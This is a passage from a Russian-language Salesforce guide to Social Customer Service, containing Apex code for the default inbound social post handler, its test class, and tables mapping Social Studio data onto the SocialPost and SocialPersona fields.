• Поддержка организаций-лиц

• Назначение стандартного кода организации

• Изменение количества дней перед повторным открытием закрытых обращений

global class MyInboundSocialPostHandlerImpl extends
Social.InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler {

global override SObject createPersonaParent(SocialPersona persona) {
String name = persona.Name;
if (persona.RealName != null && String.isNotBlank(persona.RealName))
name = persona.RealName;

String firstName = '';
String lastName = 'unknown';
if (name != null && String.isNotBlank(name)) {
firstName = name.substringBeforeLast(' ');
lastName = name.substringAfterLast(' ');
if (lastName == null || String.isBlank(lastName))
lastName = firstName;
}
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//You must have a default Person Account record type
Account acct = new Account (LastName = lastName, FirstName = firstName);
insert acct;
return acct;
}

global override String getDefaultAccountId() {
return '<account ID>';

}

global override Integer getMaxNumberOfDaysClosedToReopenCase() {
return 5;

}
}

Чтобы внедрить собственный процесс социального обслуживания клиентов, воспользуйтесь кодом ниже.

global class MyInboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler {
global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String,Object> data) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();

// Custom process

return result;
}

}

Стандартныйкласс Apex задает контакт в качестверодителяобраза. Чтобызадатьродителяобраза в качествеорганизации,
организации-лица или интереса, рекомендуем создать метод для переопределения родителя образа.

Ссылка на стандартный класс Apex
Код полного стандартного класса Apex для функции социального обслуживания клиентов.

global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

final static Integer CONTENT_MAX_LENGTH = 32000;
Boolean isNewCaseCreated = false;

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

// Create a case if one of these post tags are on the SocialPost, regardless of the
skipCreateCase indicator.

global virtual Set<String> getPostTagsThatCreateCase(){
return new Set<String>();

}

global virtual String getDefaultAccountId() {
return null;
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}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if ((post.Content != null) && (post.Content.length() > CONTENT_MAX_LENGTH)) {
post.Content = post.Content.abbreviate(CONTENT_MAX_LENGTH);

}

if (post.Id != null) {
handleExistingPost(post, persona);
return result;

}

setReplyTo(post, persona);
buildPersona(persona);
Case parentCase = buildParentCase(post, persona, rawData);
setRelationshipsOnPost(post, persona, parentCase);
setModeration(post);

upsert post;

if(isNewCaseCreated){
updateCaseSource(post, parentCase);

}

return result;
}

private void setModeration(SocialPost post){
//if we don't automatically create a case, we should flag the post as requiring

moderator review.
if(post.parentId == null)

post.reviewedStatus = 'Needed';
}

private void updateCaseSource(SocialPost post, Case parentCase){
if(parentCase != null) {

parentCase.SourceId = post.Id;
update parentCase;

}

}

private void handleExistingPost(SocialPost post, SocialPersona persona) {
update post;
if (persona.id != null)

updatePersona(persona);
}
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private void setReplyTo(SocialPost post, SocialPersona persona) {
SocialPost replyTo = findReplyTo(post, persona);
if(replyTo.id != null) {

post.replyToId = replyTo.id;
post.replyTo = replyTo;

}
}

private SocialPersona buildPersona(SocialPersona persona) {
if (persona.Id == null)

createPersona(persona);
else

updatePersona(persona);

return persona;
}

private void updatePersona(SocialPersona persona) {
try{

update persona;
}catch(Exception e) {

System.debug('Error updating social persona: ' + e.getMessage());
}

}

private Case buildParentCase(SocialPost post, SocialPersona persona, Map<String, Object>
rawData){

Case parentCase = findParentCase(post, persona);
if (parentCase != null) {

if (!parentCase.IsClosed) {
return parentCase;

}
else if (caseShouldBeReopened(parentCase)) {

reopenCase(parentCase);
return parentCase;

}
}
if(shouldCreateCase(post, rawData)){

isNewCaseCreated = true;
return createCase(post, persona);

}

return null;
}

private boolean caseShouldBeReopened(Case c){
return c.id != null && c.isClosed && System.now() <

c.closedDate.addDays(getMaxNumberOfDaysClosedToReopenCase());
}

private void setRelationshipsOnPost(SocialPost postToUpdate, SocialPersona persona,
Case parentCase) {

if (persona.Id != null) {
postToUpdate.PersonaId = persona.Id;
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if(persona.ParentId.getSObjectType() != SocialPost.sObjectType) {
postToUpdate.WhoId = persona.ParentId;

}
}
if(parentCase != null) {

postToUpdate.ParentId = parentCase.Id;
}

}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(subject = post.Name);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType) {
newCase.ContactId = persona.ParentId;

} else if (persona.ParentId.getSObjectType() == Account.sObjectType) {
newCase.AccountId = persona.ParentId;

}
}
if (post != null && post.Provider != null) {

newCase.Origin = post.Provider;
}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona) {
Case parentCase = null;
if (post.ReplyTo != null && !isReplyingToAnotherCustomer(post, persona) &&

!isChat(post)) {
parentCase = findParentCaseFromPostReply(post);

}
if (parentCase == null) {

parentCase = findParentCaseFromPersona(post, persona);
}
return parentCase;

}

private boolean isReplyingToAnotherCustomer(SocialPost post, SocialPersona persona){
return !post.ReplyTo.IsOutbound && post.ReplyTo.PersonaId != persona.Id;
}

private boolean isChat(SocialPost post){
return post.messageType == 'Private' || post.messageType == 'Direct';
}

private Case findParentCaseFromPostReply(SocialPost post) {
if (post.ReplyTo != null && String.isNotBlank(post.ReplyTo.ParentId)) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
Id = :post.ReplyTo.ParentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
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return null;
}

private Case findParentCaseFromPersona(SocialPost post, SocialPersona persona) {
SocialPost lastestInboundPostWithSamePersonaAndRecipient =

findLatestInboundPostBasedOnPersonaAndRecipient(post, persona);
if (lastestInboundPostWithSamePersonaAndRecipient != null) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
id = :lastestInboundPostWithSamePersonaAndRecipient.parentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
return null;

}

private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND

IsDefault = true];
parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null) return;

performR6PostIdCheck(post);

if (post.Id == null){
performExternalPostIdCheck(post);

}
}

private void performR6PostIdCheck(SocialPost post){
if(post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId =

:post.R6PostId LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private void performExternalPostIdCheck(SocialPost post) {
if (post.provider == 'Facebook' && post.messageType == 'Private') return;
if (post.provider == null || post.externalPostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE ExternalPostId =

:post.ExternalPostId AND Provider = :post.provider LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}
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private SocialPost findReplyTo(SocialPost post, SocialPersona persona) {
if(post.replyToId != null && post.replyTo == null)

return findReplyToBasedOnReplyToId(post);
if(post.responseContextExternalId != null){

if((post.provider == 'Facebook' && post.messageType == 'Private') ||
(post.provider == 'Twitter' && post.messageType == 'Direct')){

SocialPost replyTo =
findReplyToBasedOnResponseContextExternalPostIdAndProvider(post);

if(replyTo.id != null)
return replyTo;

}
return findReplyToBasedOnExternalPostIdAndProvider(post);

}
return new SocialPost();

}

private SocialPost findReplyToBasedOnReplyToId(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE id = :post.replyToId LIMIT 1];
if(posts.isEmpty())

return new SocialPost();
return posts[0];

}

private SocialPost findReplyToBasedOnExternalPostIdAndProvider(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE Provider = :post.provider AND ExternalPostId = :post.responseContextExternalId LIMIT
1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnResponseContextExternalPostIdAndProvider(SocialPost
post){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE Provider = :post.provider AND responseContextExternalId =
:post.responseContextExternalId ORDER BY posted DESC NULLS LAST LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findLatestInboundPostBasedOnPersonaAndRecipient(SocialPost post,
SocialPersona persona) {

if (persona != null && String.isNotBlank(persona.Id) && post != null &&
String.isNotBlank(post.Recipient)) {

List<SocialPost> posts = [SELECT Id, ParentId FROM SocialPost WHERE Provider
= :post.provider AND Recipient = :post.Recipient AND PersonaId = :persona.id AND IsOutbound
= false ORDER BY CreatedDate DESC LIMIT 1];

if (!posts.isEmpty()) {
return posts[0];

}
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}
return null;

}

private void matchPersona(SocialPersona persona) {
if (persona != null) {

List<SocialPersona> personaList = new List<SocialPersona>();
if(persona.Provider != 'Other' && String.isNotBlank(persona.ExternalId)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
Provider = :persona.Provider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.ExternalId)
&& String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.Name) &&
String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
Name = :persona.Name LIMIT 1];

}

if (!personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
}

}

private void createPersona(SocialPersona persona) {
if (persona == null || String.isNotBlank(persona.Id) ||

!isThereEnoughInformationToCreatePersona(persona))
return;

SObject parent = createPersonaParent(persona);
persona.ParentId = parent.Id;
insert persona;

}

private boolean isThereEnoughInformationToCreatePersona(SocialPersona persona) {
return String.isNotBlank(persona.Name) &&

String.isNotBlank(persona.Provider) &&
String.isNotBlank(persona.MediaProvider);

}

private boolean shouldCreateCase(SocialPost post, Map<String, Object> rawData){
return !hasSkipCreateCaseIndicator(rawData) || hasPostTagsThatCreateCase(post);

}

private boolean hasSkipCreateCaseIndicator(Map<String, Object> rawData) {
Object skipCreateCase = rawData.get('skipCreateCase');
return skipCreateCase != null &&

'true'.equalsIgnoreCase(String.valueOf(skipCreateCase));

3164

Внедрение функции социального обслуживания клиентовНастройка и обслуживание инструментов службы поддержки



}

private boolean hasPostTagsThatCreateCase(SocialPost post){
Set<String> postTags = getPostTags(post);
postTags.retainAll(getPostTagsThatCreateCase());
return !postTags.isEmpty();

}

private Set<String> getPostTags(SocialPost post){
Set<String> postTags = new Set<String>();
if(post.postTags != null)

postTags.addAll(post.postTags.split(',', 0));
return postTags;

}

global String getPersonaFirstName(SocialPersona persona) {
String name = getPersonaName(persona);
String firstName = '';
if (name.contains(' ')) {

firstName = name.substringBeforeLast(' ');
}
firstName = firstName.abbreviate(40);
return firstName;

}

global String getPersonaLastName(SocialPersona persona) {
String name = getPersonaName(persona);
String lastName = name;
if (name.contains(' ')) {

lastName = name.substringAfterLast(' ');
}
lastName = lastName.abbreviate(80);
return lastName;

}

private String getPersonaName(SocialPersona persona) {
String name = persona.Name.trim();
if (String.isNotBlank(persona.RealName)) {

name = persona.RealName.trim();
}
return name;

}

global virtual SObject createPersonaParent(SocialPersona persona) {

String firstName = getPersonaFirstName(persona);
String lastName = getPersonaLastName(persona);

Contact contact = new Contact(LastName = lastName, FirstName = firstName);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null)

contact.AccountId = defaultAccountId;
insert contact;
return contact;

3165

Внедрение функции социального обслуживания клиентовНастройка и обслуживание инструментов службы поддержки



}

}

Тесты Apex для стандартного класса Apex
Тесты функции социального обслуживания клиентов для кода стандартного класса Apex.

@isTest
public class InboundSocialPostHandlerImplTest {

static Map<String, Object> sampleSocialData;
static Social.InboundSocialPostHandlerImpl handler;

static {
handler = new Social.InboundSocialPostHandlerImpl();

sampleSocialData = getSampleSocialData('1');
}

static testMethod void verifyNewRecordCreation() {
SocialPost post = getSocialPost(sampleSocialData);
SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];

SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchSocialPostRecord() {
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.R6PostId = existingPost.R6PostId;
SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
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test.stopTest();

System.assertEquals(1, [SELECT Id FROM SocialPost].size(), 'There should be only
1 post');

}

static testMethod void matchSocialPersonaRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;

SocialPost post = getSocialPost(sampleSocialData);
SocialPersona persona = getSocialPersona(sampleSocialData);
persona.ExternalId = existingPersona.ExternalId;

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];

SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchCaseRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case');

insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;
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test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
to the Persona.');

System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to
the Contact');

System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to
the Case.');

System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1
Case.');

}

static testMethod void reopenClosedCase() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case',

Status = 'Closed');
insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;

test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
to the Persona.');

System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to
the Contact');

System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to
the Case.');

System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1
Case.');

System.assertEquals(false, [SELECT Id, IsClosed FROM Case WHERE Id =
:existingCase.Id].IsClosed, 'Case should be open.');

}

static SocialPost getSocialPost(Map<String, Object> socialData) {

3168

Внедрение функции социального обслуживания клиентовНастройка и обслуживание инструментов службы поддержки



SocialPost post = new SocialPost();
post.Name = String.valueOf(socialData.get('source'));
post.Content = String.valueOf(socialData.get('content'));
post.Posted = Date.valueOf(String.valueOf(socialData.get('postDate')));
post.PostUrl = String.valueOf(socialData.get('postUrl'));
post.Provider = String.valueOf(socialData.get('mediaProvider'));
post.MessageType = String.valueOf(socialData.get('messageType'));
post.ExternalPostId = String.valueOf(socialData.get('externalPostId'));
post.R6PostId = String.valueOf(socialData.get('r6PostId'));
return post;

}

static SocialPersona getSocialPersona(Map<String, Object> socialData) {
SocialPersona persona = new SocialPersona();
persona.Name = String.valueOf(socialData.get('author'));
persona.RealName = String.valueOf(socialData.get('realName'));
persona.Provider = String.valueOf(socialData.get('mediaProvider'));
persona.MediaProvider = String.valueOf(socialData.get('mediaProvider'));
persona.ExternalId = String.valueOf(socialData.get('externalUserId'));
return persona;

}

static Map<String, Object> getSampleSocialData(String suffix) {
Map<String, Object> socialData = new Map<String, Object>();
socialData.put('r6PostId', 'R6PostId' + suffix);
socialData.put('r6SourceId', 'R6SourceId' + suffix);
socialData.put('postTags', null);
socialData.put('externalPostId', 'ExternalPostId' + suffix);
socialData.put('content', 'Content' + suffix);
socialData.put('postDate', '2015-01-12T12:12:12Z');
socialData.put('mediaType', 'Twitter');
socialData.put('author', 'Author');
socialData.put('skipCreateCase', false);
socialData.put('mediaProvider', 'TWITTER');
socialData.put('externalUserId', 'ExternalUserId');
socialData.put('postUrl', 'PostUrl' + suffix);
socialData.put('messageType', 'Tweet');
socialData.put('source', 'Source' + suffix);
socialData.put('replyToExternalPostId', null);
socialData.put('realName', 'Real Name');
return socialData;

}
}

Заполненные данные в социальных объектах
Сведения о том, какие поля имеются в стандартных объектах, сообщениях социальной сети и социальных образах, и
какие поля в настоящее время заполнены данными из Social Studio.

Если в Social Studio настроена работа сфункцией социального обслуживания клиентов (Social Customer Service, SCS), Social
Studio отправляет данные в Salesforce в исходномформате, который затем расшифровывается системой приема данных
SCS идобавляетсявдва стандартныхобъекта Salesforce: «Сообщениясоциальнойсети» и «Социальныеобразы». Сообщения
социальной сети содержат информацию, характерную для сообщения (сообщения в данном контексте охватывают
заметки, прямые сообщения Twitter, сообщения Facebook, комментарии, ответы на комментарии и т. д.). Социальные
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образыхранятинформациюобидентификации, подобраннуювсведенияхобавторесообщений, полученныхсистемой
SCS.

Прим.: Если пользователь изменил стандартный класс Apex, онможет использовать альтернативные соотнесения.

Сообщение социальной сети
В объекте «Сообщение социальной сети» есть следующие поля.

Табл. 38: Поля сообщения социальной сети

ПримечанияПростые данныеЗначение данных от
Social Studio

Поле Salesforce

Не обновлено«Алексей Иванов»
(пользователь Social Studio, а
не Salesforce)

назначеноAssignedTo

Не обновлено5результат анализаРезультат анализа

Заполняется системой SCS,
когда в Salesforce поступают

Изображение, видеофайлмассив мультимедийных
Url-адресов

Тип вложения

новые данные (соотносится
только первое вложение)

Заполняется системой SCS,
когда в Salesforce поступают

http://some.domain/image.jpgмассив мультимедийных
Url-адресов

URL-адрес вложения

новые данные (соотносится
только первое вложение).

Не обновлено[Определенное клиентом
значение]

классификацияКлассификация

Не обновлено—commentCountCommentCount

Текущее содержимое
сообщениясоциальнойсети

Apple рекламирует новый
Mac Pro, что думаете вы

содержимоеСодержимое

Не обновлено —
стратегическийпланвыпуска
Summer ‘15

—engagementLevelEngagementLevel

Код собственной
социальной сети

344486035096485888externalPostIdExternalPostId

—новинки одеждыавторУказатель

Дата сбора сообщения в
Social Studio

2013-06-11T13:07:00ZharvestDateHarvestDate

Системасгенерирована Social
Studio. Повторяющееся имя.

ЗАМЕТКАОТ: новинки
одежды

источникЗаголовок

—Заполнено в SalesforcesalesforcePostIdКод

Не обновлено—inboundLinkCountInboundLinkCount
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ПримечанияПростые данныеЗначение данных от
Social Studio

Поле Salesforce

Заполнено в SalesforceДа/Нет—Исходящее

Не обновлено—keywordGroupNameKeywordGroupName

Поступил летом 2015 г.АнглийскийязыкЯзык

Не обновлено—likesAndVotesЛайки и голоса

Социальная сетьTWITTERмедиапоставщикМедиапоставщик

Социальная сетьTwittermediaTypeMediaType

Возможные значения:ТвитmessageTypeMessageType

• Twitter: заметка, ответ,
прямое сообщение

• Facebook: сообщение,
комментарий, ответ,
личное сообщение

Системасгенерирована Social
Studio.

ЗАМЕТКАОТ: новинки
одежды

источникИмя

Сюдаотносятсяпримечания,
добавленные всеми из

—примечанияПримечания

приведенныхнижедействий
Social Hub:

• Добавить примечание

• Перевести на

• Определить язык

• Отправка эл. почты

Заполнено организацией
социальной сети,

Лучшая технология—OutboundSocialAccount

используемой для
публикации (только для
исходящих сообщений)

Заполнен номер
родительского обращения,

00001728 (ссылка)—Родительская

если сообщение связано с
обращением

Заполнено автором
социального образа при
наличии

Capt Lonestarr (ссылка)—Пользователь

Дата и время публикации в
социальной сети.

2013-06-11T13:07:00ZpostDateОпубликовано
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ПримечанияПростые данныеЗначение данных от
Social Studio

Поле Salesforce

Приоритетность
установлена в Social Studio.

ВысокаяприоритетностьСообщенияПриоритетностьСообщения

Теги разделены запятыми.тег сообщения 1, тег
сообщения 2

postTagsPostTags

Ссылка на исходное
сообщение

http://twitter.com/site/statuses/344486PostUrlPostUrl

Установлено для
социальной сети.

TwitterмедиапоставщикПоставщик услуг

Собственный код
сообщения Social Studio.

509344000r6PostIdR6PostId

Собственный код Social
Studio для автора.

2587r6SourceIdR6SourceId

Собственный код Social
Studio предназначен либо

127006510r6TopicIdR6TopicId

для профиля темы, либо для
управляемой организации

Собственныйкодполучателя
в социальной сети

148732681954304получательПолучатель

—ПользовательrecipientTypeRecipientType

Динамически заполняется
логикой Salesforce на основе

Другое сообщение
социальной сети (ссылка)

—Ответить (кому)

replyToExternalPostId из Social
Studio

—НейтральноенастроениеНастроение

Не обновлено—публикацииПубликации

Теги источника
используются для
отслеживаниятиповавторов

тег источника 1, тег
источника 2

sourceTagsSourceTags

—NotSpamspamRatingSpamRating

Не обновлено—статусСтатус

Не обновлено—statusMessageStatusMessage

Не обновлено—threadSizeThreadSize

Имя TP в Social Studio.sd@my_handletopicProfileNameTopicProfileName

Либо профиль темы, либо
управляемая организация.

Ключевое слово |
Управляемый

topicTypeTopicType
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ПримечанияПростые данныеЗначение данных от
Social Studio

Поле Salesforce

Не обновлено—uniqueCommentorsUniqueCommentors

Не обновлено—viewCountViewCount

Может иметь другие типы
записей, в том числе
«Интерес». Ссылка.

Полиморфная взаимосвязь—Who

Социальные образы
Следующие поля имеются в объекте «Социальные образы».

Прим.: Объект «Социальныеобразы» обновляется толькоприполучениисообщенияот кого-либо с действующей
записью образа. Социальный образ не обновляется путем параллельного процесса.

Табл. 39: Поля социальных образов

ПримечанияПростые данныеЗначение данных от
Social Studio

Поле Salesforce

Не обновлено—areWeFollowingAreWeFollowing

—Только дизайнеры, марки и
распространители новинок
одежды.

биоБио

—346256330externalUserIdExternalId

—http://somesite/004_normal.JPGprofileIconUrlExternalPictureURL

—290отслеживающиеОтслеживающие

—116отслеживаемыеОтслеживаемые

Не обновлено—isBlacklistedIsBlacklisted

—верно/неверноЭтозначение
определяет, используется ли

—IsDefault

запись для получения
изображения аватара,
которыйбудетотображаться
для контакта/организации.
Используется контактами
социальной сети.

Не обновлено—isFollowingUsIsFollowingUs

Не обновлено—kloutScoreKlout

—4в спискеListedCount

Социальная сеть профиляTwitter, Facebook и т. д.медиапоставщикМедиапоставщик
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ПримечанияПростые данныеЗначение данных от
Social Studio

Поле Salesforce

—TwittermediaTypeMediaType

—Алексей ИвановавторИмя

Не обновлено—друзьяЧислоДрузей

—59546заметкиNumberOfTweets

Социальный образ по
умолчаниюродительскийпо
отношению к контакту.

Имя контакта (ссылка)—Родительская

—ПользовательauthorTypeProfileType

—http://twitter.com/thehotclothesProfileUrlProfileUrl

—mediaType может иметь
большее количество

медиапоставщикПоставщик услуг

значений, чем список
поставщиков. Необходимо
извлечь это поле из
mediaType и установить его в
«Другие» для любых
mediaType, имеющихся в
списке.

Собственныйкоддля автора104387494r6SourceIdR6SourceId

—Новинки одеждыrealNameRealName

—Ключевое слово или
Управляемый

topicTypeTopicType

Дополнительные сведения из Social Studio

В дополнение к приведенным ниже данным некоторые поля отображаются в исходных данных из Social Studio, но не
сопоставляются автоматически с полями в объектах «Сообщение социальной сети» и «Социальный образ». Доступ к
этим полям можно получить с помощью Visualforce или Apex.

Табл. 40: Поля социальных образов

ПримечанияПоле исходных данных

СтроковыйauthorTags

Классификатор[]классификаторы

ЛогическийcreateLead

Строковыйимя

СтроковыйjobId
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ПримечанияПоле исходных данных

Строковыйфамилия

Исходные данные появляются в виде массива вложений.
SCS соотносит первое вложение с известным типом

mediaUrls

(изображение|видеофайл) в SocialPost.AttachmentType и
SocialPost.AttachmentURL

СтроковыйoriginalAvatar

СтроковыйoriginalFullName

СтроковыйoriginalScreenName

Строковыйпроисхождение

Строковыйконфиденциальность

Длинныйr6ParentPostId

СтроковыйrecipientId

Исходные данные для поиска «Ответ на сообщение
социальной сети», но поле не вписано непосредственно в
сообщение социальной сети

replyToExternalPostId

Используется для модерирования функции, включенной
в выпуск Summer ‘14 (190); если «Да», система SCS переводит

skipCreateCase

создание обращений на стандартную логику. Это поле
такжеможетиспользоватьсявсвойственнойклиентулогике

Журнал стандартного класса Apex
Полный стандартный класс Apex для функции социального обслуживания клиентов для каждого выпуска.

Стандартный класс Apex и тестирование выпуска Winter ‘15

global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

final static Integer CONTENT_MAX_LENGTH = 32000;
Boolean isNewCaseCreated = false;

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

// Create a case if one of these post tags are on the SocialPost, regardless of the
skipCreateCase indicator.

global virtual Set<String> getPostTagsThatCreateCase(){
return new Set<String>();

}
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global virtual String getDefaultAccountId() {
return null;

}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if ((post.Content != null) && (post.Content.length() > CONTENT_MAX_LENGTH)) {
post.Content = post.Content.abbreviate(CONTENT_MAX_LENGTH);

}

if (post.Id != null) {
handleExistingPost(post, persona);
return result;

}

setReplyTo(post, persona);
buildPersona(persona);
Case parentCase = buildParentCase(post, persona, rawData);
setRelationshipsOnPost(post, persona, parentCase);

upsert post;

if(isNewCaseCreated){
updateCaseSource(post, parentCase);

}

return result;
}

private void updateCaseSource(SocialPost post, Case parentCase){
if(parentCase != null) {

parentCase.SourceId = post.Id;
update parentCase;

}

}

private void handleExistingPost(SocialPost post, SocialPersona persona) {
update post;
if (persona.id != null)

updatePersona(persona);
}

private void setReplyTo(SocialPost post, SocialPersona persona) {
SocialPost replyTo = findReplyTo(post, persona);
if(replyTo.id != null) {

post.replyToId = replyTo.id;
post.replyTo = replyTo;
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}
}

private SocialPersona buildPersona(SocialPersona persona) {
if (persona.Id == null)

createPersona(persona);
else

updatePersona(persona);

return persona;
}

private void updatePersona(SocialPersona persona) {
try{

update persona;
}catch(Exception e) {

System.debug('Error updating social persona: ' + e.getMessage());
}

}

private Case buildParentCase(SocialPost post, SocialPersona persona, Map<String, Object>
rawData){

Case parentCase = findParentCase(post, persona);
if (parentCase != null) {

if (!parentCase.IsClosed) {
return parentCase;

}
else if (caseShouldBeReopened(parentCase)) {

reopenCase(parentCase);
return parentCase;

}
}
if(shouldCreateCase(post, rawData)){

isNewCaseCreated = true;
return createCase(post, persona);

}

return null;
}

private boolean caseShouldBeReopened(Case c){
return c.id != null && c.isClosed && System.now() <

c.closedDate.addDays(getMaxNumberOfDaysClosedToReopenCase());
}

private void setRelationshipsOnPost(SocialPost postToUpdate, SocialPersona persona,
Case parentCase) {

if (persona.Id != null) {
postToUpdate.PersonaId = persona.Id;

if(persona.ParentId.getSObjectType() != SocialPost.sObjectType) {
postToUpdate.WhoId = persona.ParentId;

}
}
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if(parentCase != null) {
postToUpdate.ParentId = parentCase.Id;

}
}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(subject = post.Name);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType) {
newCase.ContactId = persona.ParentId;

} else if (persona.ParentId.getSObjectType() == Account.sObjectType) {
newCase.AccountId = persona.ParentId;

}
}
if (post != null && post.Provider != null) {

newCase.Origin = post.Provider;
}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona) {
Case parentCase = null;
